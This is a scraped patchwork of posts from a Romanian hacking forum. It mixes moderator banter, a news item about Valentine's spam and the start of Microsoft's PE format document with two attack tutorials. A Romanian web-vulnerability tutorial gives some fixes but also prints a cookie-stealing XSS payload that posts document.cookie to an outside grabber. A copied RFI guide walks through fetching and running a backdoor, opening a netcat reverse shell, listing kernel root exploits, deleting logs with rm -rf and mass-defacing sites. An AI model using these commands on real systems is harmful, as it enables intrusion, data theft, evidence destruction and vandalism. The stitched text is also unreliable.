Nytro

In fine, nu ma complic, ban. Pentru ca sunt nesimtit... Stiti povestea.

Deja nu mai vreau sa ma cobor la nivelul tau. Tot cu gayisme o sa fi si peste 10 ani. De mult timp esti pe forum, si esti degeaba, nimic.

Eu l-am mutat la XSS dar nu stiu unde a disparut.

Kaspersky il gaseste, poate inca trece de Nod

PDF version: http://milw0rm.com/papers/347 http://rapidshare.com/files/351249422/Vulnerabilitati_Web_si_securizarea_acestora.pdf http://www.speedyshare.com/files/20962209/Vulnerabilitati_Web_si_securizarea_acestora.pdf http://www.megaupload.com/?d=UL24YHU8 http://www.2shared.com/file/11418471/672dc49b/Vulnerabilitati_Web_si_securiz.html Salut. In acest tutorial va voi prezenta cele mai cunoscute tipuri de vulnerabilitati Web, dar si fixarea acestora ( PHP ). Voi incepe prin a spune ca un website poate fi atacat prin 3 metode: a) Atac asupra aplicatiei Web Atac asupra serverului c) Inginerie sociala In acest tutorial voi vorbi doar despre atacurile asupra aplicatiei Web. Voi vorbi despre urmatoarele tipuri de vulnerabilitati: 1) Remote File Inclusion ( RFI ) 2) Local File Inclusion ( LFI ) 3) Cross Site Scripting ( XSS ) 4) HTTP Header Injection 5) SQL Injection 6) Login ByPass 7) Arbitrary File Upload 8) Remote Code & Command Execution 9) Full Path Disclosure 10) Insecure Cookie Handling *) O functie de securizare a datelor 1) Remote File Inclusion Este un tip de vulnerabilitate din ce in ce mai rar intalnit in ziua de azi, dar este de asemenea cel mai periculos. Vulnerabilitatea consta in includerea unui fisier aflat pe alt server, folosind un parametru GET. Practic, scriptul va include direct fisierul specificat prin valoarea unei variabile trimise prin GET. Sa dam un exemplu. Programatorul foloseste urmatorul cod pentru a include un fisier: Ubde e greseala? In ideea scriptului. Daca utilizatorul va specifica pentru variabila 'pagina' valoarea "http://site.com/script.php", scriptul va include acest fisier ( desigur, daca allow url include este activata ). Sa luam un exemplu. Daca un utilizator atribuie variabilei pagina valoarea "http://google.ro", scriptul va include continutul site-ului. Dar va include codul HTML generat de server. Insa ce se intampla daca utilizatorul include "http://site.com/script.txt"? Daca va include un "http://site.com/script.php", acest script va fi interpretat ( in caz ca pe server se afla PHP ) pe serverul pe care se afla, iar scriptul va include outputul HTML. Insa daca se include un fisier cu extensia .txt, iar scriptul contine cod PHP, serverul va interpreta el acel cod. De cele mai multe ori se foloseste un shell ( script PHP, bine scris, care permite executarea multor functii pe serverul victima ). De exemplu, daca utilizatorul va include "http://www.evilc0der.com/r57.txt", atunci va putea face multe lucruri pe server. Exemplu: http://i39.tinypic.com/2d00lj.jpg , http://i44.tinypic.com/2ccxg4.jpg . Insa cu ce ajuta acel ".php"? Simplu, cu nimic. Utilizatorul fa folosi o sintaxa de genul: "http://server.com/script.php?pagina=http://site.com/script.txt?". Singurul lucru necesar pentru acesta e adaugarea caracterului "?" la sfarsitul URL-ului pe care doreste sa fie inclus. Acest "?" va transforma ".php"-ul de in variabila prin GET, si nu va afecta in nici un fel includerea scriptului. Se poate folosi de asemenea si "%00", care reprezinta caracterul cu codul ASCII 0, caracterul NULL, care marcheaza sfarsitul unui sir de caractere. Deci ceea ce se afla dupa acest NULL nu e luat in considerare. Cum se poate fixa? In mod normal, prin filtrarea sirurilor "http://" si "ftp://", dar nu recomand aceasta solutie, pentru ca scriptul va putea include fisiere locale, si se ajunge la LFI. Cea mai buna solutie e schimbarea ideii incluziunii. Se poate folosi foarte usor un switch, care va contine o lista cu paginile care pot fi incluse. Exemplu: 2) Local File Inclusion Este un tip de vulnerabilitate mai des intalnita decat RFI, dar principiul e acelasi: includerea unui fisier trimis folosind o variabila prin GET, insa scriptul va verifica daca acel fisier exista, iar daca exista in va include. Exemplu: Nu e la fel de periculos ca RFI ( de asemenea poate include fisiere locale ), dar este foarte periculos, si se poate ajunge la RFI de la el. Scriptul verifica daca fisierul se afla pe server, dar pe server nu se afla decat fisierele scriptului ( CMS... ) care contine pagina cu LFI. Deci se pot include fisiere de pe server. Exemplu ( Windows ): http://site.com/script.php?pag=../../../../../boot.ini . Dar daca scriptul include si acel ".php" va fi nevoie de folosirea caracterului NULL pentru a fi posibila incluziunea: http://site.com/script.php?pag=../../../../../boot.ini%00 . Probabil stiti si voi ca acele "../" se folosesc pentru a "inainta" in folderul anterior folderului in care se afla scriptul cu probleme. Astfel se va include fisierul "boot.ini", care va fi afisat in browser. Desigur, nu il incanta cu nimic sa includa acel fisier, dar pe Linux poate include fisiere care contin date importante ca "etc/passwd" sau altele. Dar sa nu uitam ca se poate ajunge la RFI. Se poate ajunge prin injectarea de cod PHP in loguri, apoi includerea fisierului cu loguri, care contine cod PHP, sau prin injectarea unui cod PHP intr-o imagine urmat de uploadarea acesteia pe server ( daca este posibil ), apoi includerea sa. Desigur, nu este RFI, dar se poate ajunge la aceleasi probleme pe care le poate provoca un RFI. Cum se poate fixa? La fel ca si RFI, folosind un switch pentru paginile care pot fi incluse. De asemenea, se pot filtra sirurile "../" sau "..\" ( Windows ). 3) Cross Site Scripting Este cel mai comun tip de atac Web din ziua de azi, dar nu este intotdeauna periculos. Este periculos doar cand scriptul se foloseste de cookie-uri sau sesiuni pentru anumite lucruri. Spre deosebire de RFI si LFI, vulnerabilitatea nu afecteaza serverul, ci afecteaza utilizatorul de rand, este o vulnerabilitate client-side. Ideea de baza e urmatoarea. Un script citeste o variabila, de cele mai multe ori prin GET, apoi afiseaza valoarea acesteia in browser. De cele mai multe ori se foloseste un cod JavaScript. E destul de usor de gasit o astfel de vulnerabilitate. Se testeaza variabilele prin GET ( poate fi gasit si prin POST XSS, dar este putin mai greu de exploatat ), carora li se atribuie ca valoare un cod JavaScript. Spre exemplu, avem urmatorul cod: Astfel la accesarea unui link de genul: http://site.com/script.php?text=lalala . Se va afisa textul "lalala". Dar ce se intampla daca variabila text contine un cod JavaScript? Acesta va fi interpretat in browserul "victimei". Exemplu: http://site.com/tutorial.php?text=<script>alert('xss')</script> . Daca cineva va urma acest link, va primi o alerta cu textul 'xss'. Nimic grav, dar se pot face si alte lucruri. XSS se foloseste cel mai des prentu furtul cookie-urilor. Cookie-urile se folosesc pentru ca serverul sa "recunoasca" utilizatorii. Asa stie serverul cine e logat si cine nu. Deci daca cineva intr in posesia cookie-urilor altei persoane, daca aceasta este logata, prin folosirea cooki-urilor sale, atacatorul va fi logat cu contul "victimei". La cookie se ajunge foarte usor prin "document.cookie" in JavaScript, si de cele mai multe ori se foloseste un cookie grabber pentru furtul acestora. Un cookie grabber este un script PHP, de cele mai multe ori, care primeste prin GET cookie-urile victimelor si le scrie intr-un fisier. Cookie-urile se pot trimite catre grabber prin JavaScript foarte usor: http://server2.com/grabber.php?cookie='+escape(document.cookie'>http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script> In loc de +, care se foloseste pentru spatiu in encodarea unui URL, se poate folosi "%2B". Asadar, acest simplu script va redirectiona victima catre graber, care ii va fura cookie-urile iar atacatorul se va putea folosi de ele. Dar o victima isi poate da seama ca poate fi victima unui atac XSS daca observa un URL asemanator cu cel de mai sus. Dar nu este nici o problema pentru atacator, el poate folosi foarte usor un iframe. Exemplu: <iframe scr="http://server2.com/grabber.php?cookie='+escape(document.cookie'>http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script>" width="0" height="0"> , iar pagina sa va putea contine orice. Pentru acest tip de atac se pot folosi mai multe sintaxe pentru injectare de cod. De exemplu: <IMG SRC=javascript:alert('XSS')> sau injectarea unui cod aflat pe alt server: <SCRIPT SRC=//site.com/script.js> . Se poate fixa destul de usor. PHP ofera 2 functii, care fac cam acelasi lucru: htmlentities si htmlspecialchars. Aceste functii transforma caracterele speciale gen "<", ">", "&" si ghilimelele in echivalentele lor in entitati HTML. De exemplu converstesc ">" in ">", "<" in "<". Ambele functii se pot folosi cu al doilea parametru optional setat pe valoarea ENT_QUOTES. Astfel se vor converti si ghilimelele in entitati. Astfel, la o cerere de genul: http://site.com/script.php?text=<script>alert('1')</script> , se va returna: <script>alert('1')</script> , care va afisa in browser textul <script>alert('1')</script>, dar nu se va executa nici un cod JavaScript. Deci scriptul ar trebui sa arate asa: Insa chiar daca un atacator a furat cookie-urile cuiva, puteti opri folosirea acestora foarte usor. Pentru acest lucru va trebui sa mai creati o variabila de sesiune ( folositi sesiunile in locul cookie-urilor deoarece sunt mai sigure, de exemplu pentru ca se salveaza pe server, deci nu pot fi editate ) in care sa memorati adresa IP in momentul logarii. Apoi, cand utilizatorul acceseaza o pagina, trebuie verificat IP-ul acestuia cu IP-ul din variabila de sesiune, iar daca acestea nu coincid, se face delogarea. Desigur, pot aparea cateva mici probleme pentru utilizatorii care au IP dinamic. Acestia vor trebui sa se logheze de fiecare data cand au un alt IP. 4) HTTP Header Injection Aceasta vulnerabilitate afecteaza Website-urile care afiseaza browserul, de cele mai multe ori. Am pomenit de ea pentru a va spune ca nu toate headerele care provin de la utilizator sunt corecte, nici User-Agen, nici Cookie... Exista de exemplu pentru Mozilla pluginul Tamper Data care permite editarea acestor headere. Desi nu pare o vulnerabilitate importanta, poate provoca mari probleme. Plecat de la un simplu XSS, poate ajungand la XSS permanent, se poate folosi pentru SQL Injection, daca de exemplu se cauta in baza de date in functie de un cookie. 5) SQL Injection Este foarte des intalnit si poate provoca mult rau. In ce consta el: Programatorul cauta in baza de date in functie de un anumit ID, pe care utilizatorul il trimite prin GET catre server. Poate avea un cod de genul: $int=mysql_query("SELECT x,y,z FROM tabel WHERE id='".$_GET['id']."'"); Se poate verifica foarte usor daca o pagina e vulnerabila folosindu-se o ghilimea simpla. http://site.com/script.php?id='2 sau http://localhost/tutorial.php?id=' sau http://localhost/tutorial.php?id=2' Asfel, query-ul va fi urmatorul: "SELECT x,y,z FROM tabel WHERE id=''2'" si se va returna o eroare in browser. Atacatorul va trece mai departe si va putea gasi numarul de coloane folosind clauza "order by", va putea afla baza de date folosind functia database(), va putea citi tabelele din information_schema.tables, daca versiunea de MySQL e > 5, va putea gasi apoi coloanele, apoi va putea citi orice date din baza de date. Nu stau sa scriu un tutorial de injectare. Pentru prevenirea unui astfel de atac se foloseste mysql_real_escape_string. Aceasta functie adauga back-slashuri in fata unor caractere speciale ( \x00, \n, \r, \x1a, ' si " ). Aceste caractere au o semnificatie speciala, nu sunt simple caractere. De exemplu ghilimelele sunt folosite pentru a delimita un sir. Folosind aceasta functie, aceste caractere nu mai au nici o semnificatie speciala. Asadar, la un request de genul: http://site.com/script.php?id='2 , query-ul va parea tot acelasi, numai ca ' nu marcheaza sfarsitul unui sir, ci este caracter ca oricare altul. Codul va arata cam asa: Insa trebuie sa fiti putin atenti. Daca magic quotes gpc este On, ghilimelele vor fi automat back-slash-uite, si este necesar ca inainte de mysql_real_escape_string sa fie sterse back-slash-urile initiale pentru ca sirul sa nu fie back-slash-uit de 2 ori. Exemplu: De cele mai multe ori, atacurile au loc asupra variabilelor care reprezinta un id ( Primary Key ). Deci acest id va trebui sa fie intotdeauna un numar. Puteti verifica acest lucru cu ajutorul functiei "is_numeric". Desigur, se pot folosi si functiile htmlentities si htmlspecialchars cu ENT_QUOTES pentru acest lucru, se poate folosi si addshashes. 6) Login ByPass Este tot un atac SQL Injection, intalnit la casutele de logare. Sa presupunem ca avem un cod, care va face logarea, de genul: Daca utilizatorul introduce "' OR ''='", query-ul va fi: SELECT * FROM users WHERE user='aidan' AND password='' OR ''='' si se va face logarea indiferent de user. Pentru a nu avea o astfel de problema puteti proceda ca si la SQL Injection, sau faceti totul mai "frumos". In primul rand verificati daca userul exista deja, apoi verificati daca este corecta parola, apoi faceti logarea. 7) Arbitrary File Upload Acest tip de vulnerabilitate, practic, nu e o vulnerabilitate, de cele mai multe ori. Daca aveti un serviciu de upload pe server, aveti grija ca utilizatorii sa nu poata uploada fisiere PHP. Nu faceti acest lucru verificand ca extensia sa nu fie ".php", recomandarea mea e sa cititi fisierul ( in caz ca nu se pot uploada fisiere mari ) si sa verificati daca contine cod PHP. Daca un fisier contine cod PHP, chiar daca nu are extensia .php, in cazul unei vulnerabilitati LFI, acest cod va putea fi interpretat de catre server. Insa e foarte greu sa opresti un astfel de atac, multe fisiere si tipuri de fisiere pot contine "<?" sau "?>", deci va recomand mai degraba sa nu aveti LFI in script, decat sa opriti un astfel de atac. In plus, daca doriti o limita pentru marimea fisierelor, nu va bazati pe un input hidden care sa contina marimea maxima, valoarea acestui camp poate fi schimbata. 8) Remote Code & Command Execution Acest tip de vulnerabilitate nu este foarte des intalnit, dar este periculoasa. Remote Code Execution consta in executarea unor comenzi PHP. Acest lucru este posibil datorita functiei "eval", cand se evlueaza un parametru prin GET de exemplu. Exemplu: Daca utilizatorul va face request catre: http://site.com/script.php?text=Un text';phpinfo(); , va observa in browser rezultatul functiei phpinfo(); Remote Command Execution consta in executarea unor comenzi in Terminal ( cmd ). Acest lucru se poate face prin Remote Code Execution, cu ajutorul functiei eval: http://site.com/script.php?text=Un text';system('ipconfig'); . Exemplul este pentru Windows. De asemenea se poate rula un cod in Terminal daca programatorul se foloseste de functia system ( exec, shell_exec, passthru ). Recomand sa nu se foloseasca deloc functia eval, cel putin nu e un parametru prin GET. De asemenea sa nu se foloseasca nici functiile care executa comenzi in Terminal. 9) Full Path Disclosure Nu este practic o vulnerabilitate, se poate descoperi calea completa pentru un fisier. De exemplu daca avem codul: print strstr($_GET['id'],"1"); , iar utilizatorul face requestul: http://site.com/script.php?id[]=2 , atacatorul va primi ca rezultat calea completa catre fisier printr-un Warning: Array to string conversion in C:\wamp\www\tutorial.php on line 3 ( de exemplu ). Se poate fixa foarte usor folosind functia "is_array". 10) Insecure Cookie Handling Este rar intalnita, dar uneori poate fi periculoasa. De exemplu, nu recomand salvarea pe PC-ul utilizatorului a unor date de logare sub forma de cookie. Daca este furat cookie, atacatorul va avea userul si parola victimei. De asemenea nu folositi o variabila cookie pentru a verifica daca un utilizator este logat, daca valoarea acestei variabile este True. Valoarea sa se poate seta la True foarte usor: javascript:document.cookie="variabila = true"; Pentru a nu avea astfel de probleme recomand folosirea sesiunilor in locul cookie-urilor. *) O functie de securizare a datelor Sa incercam sa scriem o functie cu care sa securizam datele si cu care sa salvam eventualele atacuri. Personal, recomand transformarea caracterelor speciale in entitati. Astfel nu veti avea probleme nici cu SQL Injection nici cu XSS. De exemplu: Functia va converti in entitati HTML o mare parte din caracterele speciale care pot face rau. Nu va faceti griji pentru dublul apel al acestei functii asupra aceluiasi sir, functia nu converteste caracterele &, #, ; in entitati, deoarece sunt folosite pentru entitati. Desigur, nu sunt necesare toate transformarile, si se poate folosi htmlentities pentru acest lucru, dar eu unul prefer sa folosesc aceasta functie, pe care o pot modifica cum vreau eu. De asemenea nu ar strica o functie prin care sa identificam anumite atacuri, si sa introducem in baza de date cateva informatii despre atacator. In primul rand va trebui sa cream tabelul: Apoi scriem o fucntie care va identifica daca se incearca un atac. Recomand folosirea acestei functii numai aspupra variabilelor care trebuie sa aibe o valoare numerica si nu asupra variabilelor care sunt de exemplu comentarii ale utilizatorilor, deoarece ar putea contine caractere speciale si astfel se va umple baza de date de loguri inutile. Astfel, in functie de anumite caractere vom sti ce a incercat atacatorul si vom salva in baza de date IP-ul si browserul sau, data si tipul atacului. Chiar daca am dat numai exemple prin GET, majoritatea atacurilor se pot face de asemenea prin POST, numai ca prin GET sunt mai usor de exploatat. Ideea de baza e urmatoarea: Nu efectuati niciodata instructiuni directe asupra unei variabile inainte de a-i verifica continutul, inainte de a scapa de orice problema poate aparea. Ganditi-va la orice valoare poate seta un utilizator asupra acelei variabile, si incercati sa preveniti orice fel de problema ar putea aparea. Sper ca va ajutat acest tutorial. Daca sunt probleme, daca aveti nelamuriri sau critici postati aici.

RDC = Remote Desktop Connection? Daca da, click dreapta pe My computer, Properties, Remote si bifezi Allow users... Sau vrei sa spui Remote Desktop Viewer? A, programul nu e facut de mine.

################# # Not written by me, but by phAnt0mh4ck3r of h4cky0u, Its not that well written, but sure covers stuff thats need to know. # 1. What it is? 2. As to explore 3. Aid of google 4. Exploits local 5. Erasing Logs 6. As to arrange the vulnerability 7. Tools 8. Commands 1. What it is? The known vulnerability more as: Remote File Inclusion, or remote Inclusao of archives, bug discovered between 2002 and 2003, to put still today many are unaware of it. Bugs found sao in its majority, in scripts of php, exists disponiveis thousands for the Internet, every day new bugs of strings sao found and displayed in sites of security, and consecultivamente nao delay very to appear modified thousands of sites, and for coencidencia, 99% of these used scripts php bugados. But where this espeficicamente bug, it eh found in funcoes of php, that joined with one script badly written, makes possible inclusao remote of archives, most used sao: Main (, Include (, Include_Once (, and others, and generally funcao that it has bug is almost thus: main (to $dir. ?file?) We go to say that the arkivo that has this funcao if calls index.php, is enough the usuario now in its navigator to type: index.php? dir=cmd < - q sera explained the front more. Eh a simple error, but that it has caused great prejudices for the world. 2. As to explore Vitima: Site that you will go to explore the imperfection of php. String: Archives in the site suceptiveis to the attack. Cmd: Script in PHP that in makes possible them to type commands to be incluidos in php. Backdoor: It opens doors in the system for remote connection 'without autentica??o'. Connect Back: It opens a door specifies for conexao between its PC and vitima. Exploit: Program that explores certain imperfection in a system. It has some types of Exploits. Here, we will go to deal only with Place Root Exploits. (they explore imperfections local that they take common users access root - super-user -) Shell: It is an interpretative program of commands that it allows the user to iteragir with the system operational through typed commands. Telnet: We will use for remote connections. Firewall: It is an intelligent barrier between a local net e the Internet, through which it only passes traffic authorized. This traffic is examined by firewall in real time and the election is made of agreement with the rule. ?what it was not express allowed, it is forbidden " root: Super-user. He is admin? has total access to system. * Strings Strings has several available. In this tutorial one, I will go to use stops examples well simple one that is ?index.php? page=?. In annex, the end, several others: P * Syntax Former: www.site.com /arquivo.php? data= http://CMD/cmd.gif?&cmd= ls ^ ^ ^ ^ Vitima String CmD command unix (P.S.: Without the spaces) * Using the CmD Cmd = http://www.site.com/cmd.gif?&cmd= In the result, it inserts cmd in string. Former: www.site.com/index.php?page=http://www.site.com/cmd.gif?&cmd= In the CMD: sysname: --> Operational system twirling. nodename: --> local Name. release: --> Version of kernel. Script Current User: --> Using for which script is being executed. PHP Version: --> Version of php of the machine User Info: --> Information of user (uid, euid, gid). Current Path: --> current Folder that you are in the server. Server IP: --> IP of the server. Web server: --> Information on the server. * Gaining access to shell He is the interpreter of commands of the machine. For this, she is necessary of: Backdoor and Connect Back. * Twirling backdoor in the server for remote connection To twirl a backdoor, it is enough to make one upload, to choose permissions, and to execute it. Command: compact disc /var/tmp; wget www.site.onde.es t? .o.backdoor.com/backdoor;chmod 777 backdoor;. /backdoor compact disc /var/tmp - > Faz the operation in this folder, for being common all the users and had to its permissions. /tmp tb serves:) wget www. (...) /backdoor - > Copia the backdoor from a URL for site. When wget not to function, tries others commands. Syntaxes: - Possiveis programs to make download of the archives wget www.site.com/arquivo lynx - source www.site.com/arquivo > archive curl - the www.site.com/arquivo archive GET www.site.com/arquivo > archive (...) Now, it is enough to connect itself shell. How? In the Win: To initiate - > Executar - > telnet www.site.com carries Where www.site.com receives name or IP from the site that you twirled the backdoor and carries is the door that the backdoor is working. If to appear in the telnet bash-2.05b$ or something seemed, is because it functioned! E you have access to shell in the machine. If to delay a time and not to fall in shell, confer nome/ip of the server. If he will be correct, it is twirling Firewall. E now? simple, Connect Back. * Connect Back Very efficient method to gain shell in a machine. It gains shell reversamente. Windows: It lowers netcat for windows and in Prompt of MSDOS (in the folder that nc if finds), it types: nc - vv - l - p 15, where 15 can in accordance with be chosen its preference. This door will be the one that will carry through the connection. Now, coming back to browser it, in cmd it types the following command: compact disc /var/tmp; wget www.site.do.dc.com/dc;chmod 777 dc;. /dc IP carries compact disc /var/tmp - > Exactly that for backdoor. wget www.site.do.dc.com/dc - > | | | |, but is logico, with address of dc. ./dc IP carries - > where IP is ITS IP and carries is the door that you it chose in netcat. Made this, if to occur all certainty, it will appear as resulted: Connect Back Backdoor * Dumping Arguments * Resolving Host Name * Connecting? * Spawning Shell * Detached This means that you if it connected in shell! If to appear Connect Back Backdoor * Dumping Arguments * Resolving Host Name * Connecting? [-] Unable you the Connect it confers the data (its IP, carries, netcat, etc). If to insist, its not accepted net this type of connection. It tries other doors (as 80, 22, 15, etc). 4. Exploits local 2.4.17 newlocal kmod 2.4.18 brk newlocal kmod km.2 2.4.19 brk newlocal kmod km.2 2.4.20 ptrace kmod km.2 brk 2.4.21 km.2 brk ptrace 2.4.22 km.2 brk ptrace 2.4.23 mremap_pte 2.4.24 mremap_pte Uselib24 2.4.27 Uselib24 2.6.2 mremap_pte krad 2.6.5 you the 2.6.10 krad krad2 5. Erasing Logs rm - rf /var/log rm - rf /var/adm rm - rf /var/apache/log rm - rf $HISTFILE find/- name .bash_history - exec rm - rf {} ; find/- name .bash_logout - exec rm - rf {} ; find/- name log* - exec rm - rf {} ; find/- name *.log - exec rm - rf {} ; 6. As to arrange the vulnerability To edit the archive php.ini in the folder of configuration of its apache and incapacitating the functions: they system, exec, passthru, shell_exec 7. Tools Voce can find some tools in the sites: - http://mescalin.100free.com - http://www.packetstormsecurity.org - http://www.milw0rm.com - http://www.securiteam.com 8. Commands ls - > List archives. It can be combined with - (shows occult) and - l (it shows at great length). Former: ls - la (it shows the archives, also occult at great length). uname - - > Mostra information of the system, as version of kernel, uteis name, and other things. id - > Mostra its id. w - > List the users logados at the moment. cp - > Copia archives. Syntax: cp /destino/ archive mv - > Move archives. Sintexe: mv /destino/ archive rm - > Remove archives. If combined with - rf, removes all the setados archives, also folders to mkdir - > diretorio Cria to rmdir - > diretorio Exclui find - > Procura for archives/folders. Former: ?find /etc - name httpd.conf ?looks for for httpd.conf in the /etc folder pwd - > Mostra where folder you are located cat - > Exibe the content of an archive in the screen head - > Exibe lines of the beginning of the archive tail - > || || || final of the archive ctrl+c - > Sai/killa one programs ctrl+r - > Busca command typed in history of bash ps - auxw - > List all the processes of the system netstat - in - > Status of the connection kill -9 - > Mata process. Syntax: kill -9 PID OF the PROCESS kill - HUP - > Reinicia process. Syntax: kill - HUP ID OF the PROCESS peak - > Publisher of text. Syntax: peak archive vi - > | | vi archive Saving resulted in archives ?/armazenado command > /arquivo/onde/ser Former: ls /etc > /tmp/s.txt safe all the result of the listing of /etc in the /tmp/s.txt archive Adding lines in archives echo ?line? >> /arquivo/onde/ser ?/incluido Unpacking archives (most common) .tar - > to tar xvf arquivo.tar .tar.gz - > to tar zxvf arquivo.tar.gz .tar .bz2 - > to tar jxvf arquivo.tar .bz2 .zip - > unzip arquivo.zip Compactando archives (most common) .tar - > to tar cvf destino.tar ARCHIVE .tar.gz - > to tar cvf destino.tar ARCHIVE | gzip destino.tar .tar .bz2 - > to tar cvf destino.tar ARCHIVE | bzip2 destino.tar .zip - > zip DES tino.zip ARQUIVO * List of sites running on server * Using httpd.conf file Generally the data of the housed sites are in this archive. To make a listing of the sites, it is enough to type a command that will go to read the archive httpd.conf and to print the lines that contain ServerName (name of the sites). (in the folder where httpd.conf if finds) cat httpd.conf | grep ServerName (they will be in this archive same, you result can to save in archive - preferential in the folder of the site that you left - and to make download) ----> How? Good, in the CMD, it types pwd. You it will see the place where you if it finds in the server. Former: /home/httpd/vhosts/nasa.gov/web/ Let us say that the URL is this: http://nasa.gov/index.php?page=CMD Then, if you to play the result for /home/httpd/vhosts/nasa.gov/web This archive will be in the root of the site. To only type this command: cat httpd.conf | grep ServerName > /home/httpd/vhosts/nasa.gov/web/RESULTADO.txt (only one example) Made this, http://nasa.gov/RESULTADO.txt and to lower the list: P <---- Now, where it is this? GENERALLY in the folders /etc/httpd/conf or /etc/apache/conf but it varies very and it can be found in other places. An efficient way, to put delayed, to find is making a complete search for sitema. Command: find/- name httpd.conf This prints where he is httpd.conf in the server. It can appear more than a result. * Other ways? If exactly thus, not to obtain to find which sites has there, looks alternative forms. Unhappyly it does not have as to explain therefore in each server it has a way. Example: If in the folder where the sites are located, you to list them and the result ja will have the name and domain of them: former: ls /home/httpd/vhosts site.com mtv.com .br nasa.gov whitehouse.gov etc * Making Mass Defacement Good, first, it creates one index that you it wants that is in the place of the others. Made it, plays for some place that you can make upload pro server. Now, the end: to change to all the others for its. Simple, a command for this is enough: find /pasta/onde/est ?o/os/sites - name ?index.*? - exec cp /onde/est ?/sua/index.html {} ; To know where they are the sites, only pwd in cmd. Former: /home/httpd/vhosts/nasa.gov/web One notices that all the others are in /home/httpd/vhosts. Equal backdoor makes upload. wget http://suaindex.com/sua.index Let us say that you it made for the /tmp folder, then, the command would be thus: find /home/httpd/vhosts - name ?index.*? - exec cp /tmp/index.html {} ;

De Sf. Valentin, fereste-te de virusi de Bianca Dinu | 11 februarie 2009 Valentine’s Day este o ocazie perfecta pentru activitatile malitioase de spam, iar specialistii in securitate IT avertizeaza si in acest an utilizatorii sa fie atenti la mesajele tematice pe care le vor primi din partea unor expeditori necunoscuti. Spamerii profita de astfel de ocazii pentru a trimite troiani “mascati” in felicitari electronice sau in mesaje de tip text care contin link-uri ce, odata aceesate, redirectioneaza utilizatorul catre site-uri care raspandesc spam. De asemenea, firmele de specialitate sustin ca si executabilele vor fi populare in acest an si vor veni tot sub forma unor e-mail-uri prin care utilizatorului i se cere sa instaleze un program pentru a putea citi mesajul. Daca se instaleaza programul, computerul va fi infectat de un virus troian sau va fi controlat remote de spameri. Infractorii pot obtine acces la informatiile din serviciul de online banking, numarul cartii de credit sau alte date confidentiale. De asemenea, pot folosi calculatorul respectiv pentru a trimite spam si alte materiale dubioase fara ca utilizatorul sa stie. Desi cei mai multi experti in securitate se asteptau ca, in acest an, atacurile sa difere fata de cele de acum un an, acestea sunt destul de similare cu cele din 2008 si 2007. Tocmai din acest motiv, analistii cred ca succesul lor se va diminua din ce in ce mai mult, asta daca infractorii cibernetici nu se hotarasc brusc sa isi schimbe tactica de atac. Sursa: The Register, Hit.ro

Si pe mine ma acuza lumea ca dau warn-uri... Ia sa trec la banuri

Eu sigur nu am fost, dar am ascultat interviul. Mi-a placut cum au vorbit baietii.

Ce e cu mine? Unde vorbeam singur?

Pentru booter de Yahoo! trebuie sa cunosti protocolul YMSG. Deci treci la sniffing daca nu gasesti o sursa ceva.

Nu toata lumea are timp de forum, spre exemplu Staff-ul. Bine, eu am timp, dar eu sunt de forma pe aici.

Si ce anume ai vrea sa inveti de aici? Ce ai invatat de altundeva? A, tu nu ai invatat sa dai share la C pe DC++, deci nu e bun de nimic forumul... "Are cineva un program care da share la C: pe dc++ ? Va rog am nevoie." De ce nu vii cu idei pentru forum? Crezi ca daca forumul ar fi plin de tutoriale Copy/Paste ai invata ceva? Crezi ca iti poate baga cineva informatii in cap? Imi poti face o lista cu intrebari ( intrebari normale, nu toate prostiile ) l-a care nu s-a primit raspuns? Ce intelegi tu prin "hack"? De ce anume voiai sa te convingi aici? "Currently Active Users: 120" De ce crezi ca nu sunt 15? Oricum RST nu mai e ce era o data... Iar daca iei ban, desi nu prea cred, nu inseamna ca stafful e o adunatura de cocalari ( asta se intampla de la prea multe vizite pe acel site, site pentru cei limitati ca sa ma exprim academic ). Poti gasi multe lucruri interesante, trebuie doar sa cauti. A, da, poate iti plac filmele porno. Atunci dute pe redtube, acolo o sa gasesti multe "threaduri" interesante.

Lrgat de "Post dublu": Au butonul "Edit", nu e vina mea ca nu il folosesc. Nu prea imi pasa ca nu ma suporta jumate din useri. CODEX: Pentru asta dau ban.

Deci scrie toate combinatiile intr-un fisier?

Nod32-ul meu ( update la zi ) nu il gaseste, l-am si testat pe mine si merge. Am gasit si un bug, dar momentan am alte treburi de facut.

Voiam sa iti spun ca warnurile ti le-am dat pentru ca te-ai luat de benny loppa ( vezi postul de la "indieni ratati" ). Adica daca te luai de altcineva ( depinde de cine ) nu iti dadeam warn. Imi place ocupatia asta, enervez multa lume

Ai multe posturi cu "ms"... Ei bine, acum sti. Sti si cat de nesimtit sunt.

Super, de 2 am scapat. Adio baieti.

PORTABLE EXECUTABLE FORMAT Author: Micheal J. O'Leary Preface This document was edited and released by Microsoft Developer Support. It describes the binary portable executable format for NT. The information is provided at this point because we feel it will make the work of application development easier. Unfortunately, the information in this document may change before the final release of Windows NT. Microsoft is NOT committing to stay with these formats by releasing this document. Questions or follow-ups for any of the information presented here should be posted to CompuServe MSWIN32 forum, section 6. --Steve Firebaugh Microsoft Developer Support Contents 1. Overview 2. PE Header 3. Object Table 4. Image Pages 5. Exports 5.1 Export Directory Table 5.2 Export Address Table 5.3 Export Name Table Pointers 5.4 Export Ordinal Table 5.5 Export Name Table 6. Imports 6.1 Import Directory Table 6.2 Import Lookup Table 6.3 Hint-Name Table 6.4 Import Address Table 7. Thread Local Storage 7.1 Thread Local Storage Directory Table 7.2 Thread Local Storage CallBack Table 8. Resources 8.1 Resource Directory Table 8.2 Resource Example 9. Fixup Table 9.1 Fixup Block 10. Debug Information 10.1 Debug Directory 1. Overview ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ <ÄÄ¿ <ÄÄÄÄÄ Base of Image Header ³ DOS 2 Compatible ³ ³ ³ EXE Header ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ unused ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ OEM Identifier ³ ³ ³ OEM Info ³ ³ ³ ³ ³ DOS 2.0 Section ³ Offset to ³ ³ (for DOS compatibility only) ³ PE Header ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ DOS 2.0 Stub ³ ³ ³ Program & ³ ³ ³ Reloc. Table ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ <ÄÄÙ ³ unused ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ <ÄÄÄÄÄÄÄÄÄ 